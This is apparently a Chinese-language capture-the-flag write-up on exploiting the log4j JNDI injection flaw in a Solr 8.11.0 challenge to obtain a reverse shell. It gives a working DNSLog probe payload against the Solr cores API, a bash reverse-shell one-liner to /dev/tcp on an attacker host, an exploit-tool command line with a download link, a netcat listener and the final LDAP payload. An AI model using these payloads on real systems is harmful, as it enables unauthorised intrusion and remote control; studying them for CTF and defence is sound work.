比赛出了一个题目,发现有log4j漏洞但是需要反弹shell才能拿到flag,一开始试了几个工具都没有成功反弹shell,直到看到了这篇优秀博文,在此感谢这位师傅~
本文记录一下log4j反弹shell的这个过程,仅供各位师傅参考~
去更远的地方 见更亮的光
测试了部分工具发现这个比较好用一点,可以直接github下载也可以到我的网盘上下载
girhub:JNDI-Injection-Exploit-1.0-SNAPSHOT-all
网盘链接:https://pan.baidu.com/s/13cz9sZzMJcF9s1y7E7sOWw
提取码:qwer
题目给了一个solr环境,通过首页可以看到版本为8.11.0

在DNSLog上获取一个域名

通过solr的API测试log4j漏洞是否存在,具体的payload如下:
/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.jprd1u.dnslog.cn}

在DNSlog平台上成功回显

至此可以推测目标环境存在log4j漏洞
接下来就需要用到上面的工具和一台公网服务器了,首先把工具上传,将反弹shell的命令进行base64编码:
bash -i >& /dev/tcp/your_ip/6666 0>&1
用base64在线网站进行编码后填入下面的命令中,同时需要填入服务器的IP地址
执行如下命令:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base64编码}|{base64,-d}|{bash,-i}" -A "服务器IP"

接下来在服务器上开启监听,我这里用的是5555端口
nc -lvp 5555
根据目标环境选择payload如下:
${jndi:ldap://IP:1389/2u3m9p}
用payload进行测试

成功反弹shell

如有其他疑问欢迎评论留言~